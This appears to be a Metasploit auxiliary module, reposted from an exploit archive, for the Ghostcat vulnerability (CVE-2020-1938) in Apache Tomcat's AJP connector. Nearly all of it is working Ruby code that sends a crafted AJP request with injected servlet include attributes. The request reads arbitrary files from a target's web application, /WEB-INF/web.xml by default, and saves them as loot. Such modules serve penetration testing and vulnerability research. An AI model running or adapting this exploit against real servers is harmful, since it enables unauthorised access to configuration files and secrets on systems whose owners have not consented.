## https://sploitus.com/exploit?id=PACKETSTORM:180825
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/proto/apache_j_p'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
ApacheJP = Rex::Proto::ApacheJP
GhostCatResponse = Struct.new(:status, :headers, :body)
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Tomcat AJP File Read',
'Description' => %q{
When using the Apache JServ Protocol (AJP), care must be taken when trusting incoming connections to Apache
Tomcat. Tomcat treats AJP connections as having higher trust than, for example, a similar HTTP connection.
If such connections are available to an attacker, they can be exploited in ways that may be surprising.
In Apache Tomcat 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99, Tomcat shipped with an AJP
Connector enabled by default that listened on all configured IP addresses. It was expected (and recommended
in the security guide) that this Connector would be disabled if not required. This vulnerability report
identified a mechanism that allowed: - returning arbitrary files from anywhere in the web application -
processing any file in the web application as a JSP. Further, if the web application allowed file upload
and stored those files within the web application (or the attacker was able to control the content of the
web application by some other means) then this, along with the ability to process a file as a JSP, made
remote code execution possible.
It is important to note that mitigation is only required if an AJP port is accessible to untrusted users.
Users wishing to take a defence-in-depth approach and block the vector that permits returning arbitrary files
and execution as JSP may upgrade to Apache Tomcat 9.0.31, 8.5.51 or 7.0.100 or later. A number of changes were
made to the default AJP Connector configuration in 9.0.31 to harden the default configuration.
It is likely that users upgrading to 9.0.31, 8.5.51 or 7.0.100 or later will need to make small changes
to their configurations.
},
'Author' => [
'A Security Researcher of Chaitin Tech', # POC
'SunCSR Team' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2020-1938'],
['EDB', '48143'],
['URL', 'https://www.chaitin.cn/en/ghostcat']
],
'DisclosureDate' => '2020-02-20',
'Notes' => {
'AKA' => ['Ghostcat'],
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
}
)
)
register_options(
[
Opt::RPORT(8009, true, 'The Apache JServ Protocol (AJP) port'),
OptString.new('FILENAME', [true, 'File name', '/WEB-INF/web.xml'])
]
)
end
def send_recv_once(data)
buf = ''
begin
connect
sock.put(data)
buf = sock.get(30) || ''
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
elog('Error socket', error: e)
ensure
disconnect
end
buf
end
def parse_response(buf)
parsed_response = GhostCatResponse.new
until buf.empty?
chunk = buf[4...(4 + buf.unpack1('xxn'))]
buf = buf[(4 + chunk.length)...]
case chunk[0].ord
when ApacheJP::ApacheJPSendBodyChunk::PREFIX_CODE
send_body_chunk = ApacheJP::ApacheJPSendBodyChunk.read(chunk)
parsed_response.body = send_body_chunk.body_chunk.to_s
when ApacheJP::ApacheJPSendHeaders::PREFIX_CODE
send_headers = ApacheJP::ApacheJPSendHeaders.read(chunk)
parsed_response.status = send_headers.http_status_code.to_i
parsed_response.headers = send_headers.headers.snapshot.map { |header| [header.header_name.to_s, header.header_value.to_s] }.to_h
when ApacheJP::ApacheJPEndResponse::PREFIX_CODE
break
when ApacheJP::ApacheJPGetBodyChunk::PREFIX_CODE
next # no need to process this chunk
else
fail_with(Failure::UnexpectedReply, "Received unknown AJP prefix code: #{chunk[0].ord}")
end
end
parsed_response
end
def read_success?(ghost_cat_response)
ghost_cat_response.status == 200
end
def read_remote_file
ajp_forward_request = ApacheJP::ApacheJPForwardRequest.new(
http_method: ApacheJP::ApacheJPForwardRequest::HTTP_METHOD_GET,
req_uri: '/index.txt',
remote_addr: '127.0.0.1',
remote_host: 'localhost',
server_name: datastore['RHOST'].to_s,
headers: [
{ header_name: 'host', header_value: "#{datastore['RHOST']}:8080" }
],
attributes: [
{
code: ApacheJP::ApacheJPRequestAttribute::CODE_REQ_ATTRIBUTE,
attribute_name: 'javax.servlet.include.request_uri',
attribute_value: 'index'
},
{
code: ApacheJP::ApacheJPRequestAttribute::CODE_REQ_ATTRIBUTE,
attribute_name: 'javax.servlet.include.path_info',
attribute_value: datastore['FILENAME'].to_s
},
{
code: ApacheJP::ApacheJPRequestAttribute::CODE_REQ_ATTRIBUTE,
attribute_name: 'javax.servlet.include.servlet_path',
attribute_value: '/'
},
{ code: ApacheJP::ApacheJPRequestAttribute::CODE_TERMINATOR }
]
)
data = "\x12\x34" + [ ajp_forward_request.num_bytes ].pack('n') + ajp_forward_request.to_binary_s
parse_response(send_recv_once(data))
end
def check
ghost_cat_response = read_remote_file
if read_success?(ghost_cat_response)
return Exploit::CheckCode::Appears("Successfully read file #{datastore['FILENAME']}")
end
Exploit::CheckCode::Safe
rescue StandardError => e
Exploit::CheckCode::Unknown(e.message)
end
def run
ghost_cat_response = read_remote_file
print ghost_cat_response.body unless ghost_cat_response.body.blank?
unless read_success?(ghost_cat_response)
print_error 'Unable to read file, target may not be vulnerable.'
end
file = store_loot(
datastore['FILENAME'].to_s, 'text/plain', datastore['RHOST'].to_s,
ghost_cat_response.body, 'Ghostcat File Read/Inclusion', 'Read file', datastore['FILENAME']
)
print_good "File contents save to: #{file}"
end
end